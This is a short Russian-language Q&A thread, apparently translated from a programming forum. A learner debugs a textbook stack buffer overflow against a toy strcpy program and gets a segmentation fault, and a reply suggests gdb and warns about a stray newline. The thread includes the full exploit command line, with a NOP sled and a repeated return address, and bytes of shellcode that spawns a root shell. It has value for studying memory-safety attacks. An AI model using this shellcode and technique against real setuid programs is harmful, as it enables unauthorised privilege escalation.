2015-10-29 4 views
0

Я пытаюсь выполнить переполнение стека с помощью perl (естественно, получить привилегии root с использованием обычного пользователя (используя шеллкод)). Я изучаю хакинг с книгой Джона Эриксона, и я был бы очень рад, если бы вы мне немного помогли. Я печатаю эту команду:Попытка сделать переполнение стека с помощью perl

./vuln `perl -e 'print "\x90"x202'``cat shellcode``perl -e 'print "\x70\xcc\x81\xbe"x70;'` 

vuln:

int main(int argc, char *argv[]) 
{ 
char buffer[500]; 
strcpy(buffer, argv[1]); 
return 0; 
} 

shellcode:

\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68 

и я получаю "ошибку сегментации". Я знаю, что мне нужно заполнить каждый ret-адрес, но независимо от того, что я делаю, когда я пытаюсь вставить более 67 ESP (указатели стека), я получаю эту ошибку.

+0

Только perl -e 'print \ x70 \ xcc \ x81 \ xbe "? Я получаю: ṕ ṕ ṕ ṕ ṕ ṕ ṕ ṕ ṕ ṕ ṕ ṕ ṕ ṕ ṕṕṕṕṕṕṕṕṕṕṕṕṕṕṕṕṕṕṕṕṕṕṕṕṕ ṕṕṕṕṕṕṕṕṕṕṕṕṕṕṕṕṕṕṕṕṕṕṕṕṕ ṕ ṕ ṕ ṕ ṕ ṕ – frast

+0

да Я знаю, что вы имеете в виду, я исправил это, это была ошибка в коде, который я вставил на вопрос, когда я его выполнил в терминале, он был написан правильно. – frast

+0

Вы все еще не указали, какая у вас проблема. Не проблема ли получить «shellcode» для выполнения? Если нет, это проблема с самим «shellcode»? Если да, то где это происходит? Если нет, вы говорите это проблема получения последняя часть для запуска? – ikegami

ответ

0

Попробуйте запустить программу под gdb и посмотрите, где она сработает. Одна вещь, в частности, быть осторожным при объединении cat file в вашем эксплоите, заключается в том, что он может добавить новый байт \n и привести к тому, что ваш шеллкод выйдет из выравнивания.